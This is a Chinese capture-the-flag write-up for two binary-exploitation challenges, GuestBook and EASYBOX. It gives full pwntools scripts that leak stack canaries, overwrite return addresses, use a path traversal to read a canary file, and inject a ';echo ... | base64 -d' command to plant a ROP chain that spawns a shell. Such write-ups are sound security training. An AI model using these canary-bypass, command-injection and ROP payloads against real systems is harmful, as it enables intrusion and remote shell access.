赞
踩
1.GuestBook
开了canary,但可以泄漏
canary的低1字节为0x00,把他修改为非0x00可泄漏出来(其实在泄漏的时候不用还原canary的最后一字节)
有后门,可以通过strcpy函数来覆盖返回地址getshell,在这里输入2给num,循环两次,如果只循环一次是不能溢出的(因为遇到\x00会结束或覆盖到返回地址canary不会)
在第一次修改返回地址为后门,在第二次修改canary的低1字节为回车,空格,\t可转为\x00恢复canary(scanf遇到空格,回车,\t会提前结束,把它转为\x00)即可getshell
EXP:
#coding=utf-8
from pwn import *
sh=remote("node4.buuoj.cn",29215)
#sh=process("./game")
elf=ELF("./GuestBook")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.arch="amd64"
un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda :sh.interactive()
U64=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]
shell=0x4012C3
un("name: ")
sd("a"*0x19)
un("a"*0x18)
canary=u64(sh.recv(8))
print hex(canary)
ret=0x401485
un("leave(MAX 4): ")
sl("2")
sl("a"*0x98+p64(canary)+"a"*8+p64(shell))
sl("a"*0x78)
inter()
2.EASYBOX
下载一个压缩包,里面存在docker文件夹,里面存放搭建的工具
在bin目录下中找到题目,64位,开了canary
本地无法运行,需要开启靶机来运行,拖入ida分析,存在system函数
在init初始化时把canary存放在了/secret/canary.txt中
有4个功能,PING,CAT,HELP,LS,后两者没有用
主要分析pingCommand和catCommand两个函数
pingCommand()函数中先向s输入0xff个字节,然后通过sprintf把数据存放到command中,command可存放0x208个数据,有check_ip,对输入的s存在限制,一些字符串和匹配符等不能使用
如果输入的s在范围内,会把ping -c 4 %s > /tmp/result.txt 存放在command中,接着执行system(command),这时如果在s中输入;echo xx 会把xx存放在/tmp/result.txt中
接着分析catCommand,check_filename也做了限制,不能直接获取flag
但在/secret/canary.txt存在canary,且把数据读取到ptr数组中,如果读的东西比较多就可以造成栈溢出,我们第一次先把canary泄露出来,接着返回pingCommand()分析怎么利用栈溢出来getshell
在字符串的最后可以把一些数据存入到result.txt文件中
sprintf遇到\x00结束,我们可以把构造好的rop进行base64加密,就没有\x00了
使用;echo (base64加密的rop) | base64 -d(解密后的原rop) 这时就把rop写入到result.txt
再接着到catCommand中,把result.txt读入到ptr,实现栈溢出getshell
EXP:
#coding=utf-8
from pwn import *
import base64
sh=remote("node4.buuoj.cn",26148)
elf=ELF("./GuestBook")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.arch="amd64"
un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda:sh.interactive()
U64=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]
pop_rdi=0x401CE3
ret=0x401ce4
bin_sh=0x402090
system=0x401230
un("name: ")
sl("caibi")
un("$ ")
sl("CAT")
un("view: ")
sl("../secret/canary.txt")
canary=int(sh.recv(16),16)
un("$ ")
sl("PING")
un("s: ")
shell="a"*0x48+p64(canary)*2+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
shell=base64.b64encode(shell)
print shell
sl(";echo "+shell+" | base64 -d")
un("$ ")
sl("CAT")
un("view: ")
sl("result.txt\x00")
inter()
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。